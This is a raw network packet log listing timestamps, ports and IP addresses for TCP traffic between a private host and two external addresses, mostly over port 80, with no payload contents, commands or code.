Nov 1, 2024 00:38:56.737320900 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737374067 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737377882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737390995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737421036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737432957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737488031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737503052 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737545967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737550020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737586021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737591028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737601995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737613916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.737633944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.737651110 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.778882027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.778897047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.778906107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.778942108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.778970003 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.778985023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.778995037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779009104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779019117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779030085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779031038 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779053926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779068947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779211044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779256105 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779360056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779370070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779381990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779392004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779402971 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779428959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779485941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779536009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779570103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779581070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779591084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779602051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779622078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779655933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.779902935 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.779937029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780003071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780018091 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780045986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780050039 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780062914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780075073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780092955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780107021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780179024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780189991 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780200005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780210018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780229092 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780245066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780256033 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780289888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780729055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780790091 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780800104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780810118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780816078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780838013 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780848980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780860901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780860901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780874014 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780885935 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780891895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780891895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780917883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780927896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780939102 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.780940056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.780972958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.820183992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.820220947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.820271015 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.854371071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854403019 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854415894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854451895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.854481936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.854521036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854532003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854543924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854556084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854569912 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.854598045 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.854707003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854717016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.854758978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.895730972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.895744085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.895754099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.895785093 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.895797968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.895941973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.895982981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896012068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896039963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896053076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896064043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896066904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896075964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896076918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896094084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896095991 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896106958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896116972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896120071 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896130085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896152020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896174908 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896188021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896199942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896210909 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896234035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896253109 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896281958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896318913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896325111 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896337032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896370888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896370888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896425009 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896478891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896498919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896511078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896522045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896545887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896686077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896696091 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896716118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896725893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896737099 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896758080 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896790981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896801949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896814108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896840096 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896858931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896859884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.896872997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.896914959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897171974 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897213936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897262096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897274017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897289991 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897300005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897311926 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897314072 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897325039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897336006 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897340059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897350073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897351980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.897382021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.897394896 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.947369099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.947380066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.947396994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.947422028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.947457075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.971436024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971450090 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971461058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971502066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.971537113 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.971632004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971642971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971652985 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971668005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971685886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.971718073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.971725941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971736908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.971766949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.012860060 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012881041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012898922 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012909889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012917995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.012923956 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012934923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012943983 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.012948990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012962103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012973070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012983084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.012989044 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013024092 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013093948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013104916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013114929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013127089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013139009 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013142109 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013161898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013187885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013379097 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013390064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013401031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013425112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013457060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013493061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013504028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013514996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013559103 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013559103 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013560057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013572931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013582945 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013596058 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013598919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013609886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013624907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013657093 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013911963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013923883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013933897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.013961077 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013982058 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.013983965 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014020920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014106035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014117002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014128923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014137983 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014143944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014149904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014161110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014166117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014172077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014189959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014208078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014415979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014427900 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014439106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.014456987 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.014484882 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.053982019 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.053992987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.054003954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.054016113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.054039001 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.054071903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.089839935 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089864016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089874983 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089884043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089886904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.089896917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089905977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089914083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.089915037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.089947939 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.089965105 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.107430935 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.107461929 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.107522964 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.107872009 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.107884884 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.131061077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131118059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131123066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131130934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131169081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131230116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131242037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131253958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131264925 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131285906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131285906 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131298065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131309032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131316900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131330013 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131341934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131341934 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131342888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131352901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131365061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131380081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131402969 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131573915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131625891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131652117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131663084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131674051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131695986 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131738901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131792068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131803989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131815910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131833076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131844044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.131844044 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131855965 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.131885052 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132093906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132106066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132117987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132134914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132145882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132148981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132158041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132158995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132169962 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132180929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132188082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132213116 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132222891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132487059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132498980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132508993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132529974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132544994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132554054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132565975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132576942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132582903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132589102 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132590055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132599115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132615089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132642984 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.132982969 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.132994890 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.133008003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.133025885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.133028984 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.133038998 CET	80	49948	185.215.113.16	192.168.2.6
